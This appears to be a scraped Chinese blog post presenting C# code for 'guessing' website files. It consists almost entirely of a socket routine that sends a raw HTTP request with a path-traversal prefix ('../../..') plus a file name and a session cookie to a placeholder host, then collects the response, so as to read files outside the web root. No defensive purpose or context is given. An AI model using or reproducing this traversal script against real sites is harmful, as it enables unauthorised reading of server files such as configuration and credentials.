zoukankan      html  css  js  c++  java
  • c#使用程序猜解网站文件

         public static string PostData(string file)
            {
                string strHTML = "";//用来保存获得的HTML代码
    
                string sendString;
                sendString = "GET //../../../../../../../.." + file + " HTTP/1.1
    ";
                sendString += "Cookie: SESSIONID=1531169f08777da4
    
    ";
                sendString += "Host: aaa.com
    ";
                sendString += "Connection: Keep-alive
    ";
                sendString += "Accept-Encoding: gzip,deflate
    ";
                sendString += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
    ";
                sendString += "Accept: */*
    ";
    
                //sendString = string.Format(sendString, file);
                Byte[] ByteGet = Encoding.GetEncoding("utf-8").GetBytes(sendString);
                IPAddress hostadd = Dns.GetHostEntry("aaa.com").AddressList[0];
                IPEndPoint EPhost = new IPEndPoint(hostadd, 80);
                Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                s.Connect(EPhost);
                if (!s.Connected)
                {
                    strHTML = "链接主机失败";
                }
                s.Send(ByteGet, ByteGet.Length, SocketFlags.None);
                strHTML = Recv(s, Encoding.GetEncoding("utf-8"));
                return strHTML;
            }
    
            public static String Recv(Socket sock, Encoding encode)
            {
                Byte[] buffer = new Byte[1024000000];
                StringBuilder sb = new StringBuilder();
    
                Thread.Sleep(2500);//根据页面响应时间进行微调        
                Int32 len = sock.Receive(buffer);
                Console.WriteLine("socket.Available:" + sock.Available);
                sb.Append(encode.GetString(buffer, 0, len));
    
                while (sock.Available > 0)
                {
                    Thread.Sleep(1000);//也可以视情况微调           
                    Array.Clear(buffer, 0, buffer.Length);
                    len = sock.Receive(buffer);
                    Console.WriteLine("socket.Available:" + sock.Available);
                    Console.WriteLine("接收:" + len + " B");
                    sb.Append(encode.GetString(buffer, 0, len));
                    string ss = encode.GetString(buffer, 0, len);
                }
                sock.Close();
                return sb.ToString();
            }
    本博客文章绝大多数为原创,少量为转载,代码经过测试验证,如果有疑问直接留言或者私信我。
    创作文章不容易,转载文章必须注明文章出处;如果这篇文章对您有帮助,点击右侧打赏,支持一下吧。
  • 相关阅读:
    SQL时间段获取
    HqlBuilder之二(使用AspNetPager分页控件)
    HqlBuilder
    遭遇:TargetException: 对象与目标类型不匹配。
    让全站的页面不能前进和后退
    我的VS2003没有鼠标悬停提示的解决方法
    用动态控件模拟复合控件
    从C# 到 Java 点滴
    转:RBAC的解释
    如果非要用CustomValidator+WebService+asp.net ajax进行验证
  • 原文地址:https://www.cnblogs.com/passedbylove/p/14724622.html
Copyright © 2011-2022 走看看